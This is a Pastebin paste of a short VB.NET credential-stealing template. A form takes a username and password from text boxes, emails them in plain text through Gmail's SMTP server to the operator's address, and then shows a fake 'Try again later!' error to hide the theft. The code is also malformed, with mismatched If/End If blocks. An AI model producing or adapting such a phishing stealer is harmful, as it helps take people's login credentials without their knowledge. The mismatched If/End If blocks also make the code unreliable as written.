Advertisement
Guest User

Untitled

a guest
Nov 5th, 2017
401
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.74 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3.  
  4.  
  5.  
  6. If TextBox1.Text = "" Then MsgBox("Username is invalid")
  7. If Textbox2.text = "" Then
  8. Msgbox("Password is invalid")
  9. Else
  10. End If
  11. End if
  12. Dim smtpServer As New SmtpClient()
  13. Dim mail As New MailMessage()
  14. smtpServer.Credentials = New Net.NetworkCredential("YourAddress@gmail.com", "Your gmail password")
  15. 'using gmail
  16. smtpServer.Port = 587
  17. smtpServer.Host = "smtp.gmail.com"
  18. smtpServer.EnableSsl = True
  19. mail = New MailMessage()
  20. mail.From = New MailAddress("informations@info.info")
  21. mail.To.Add("YourEmailAddress@gmail.com")
  22. mail.Subject = "Username: " & TextBox1.Text
  23. mail.Body = "Username " & TextBox1.Text & ", " & "Password : " & textbox2.text
  24. smtpServer.Send(mail)
  25. MsgBox("Error", 0 + 16, "Try again later!")
  26. End
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement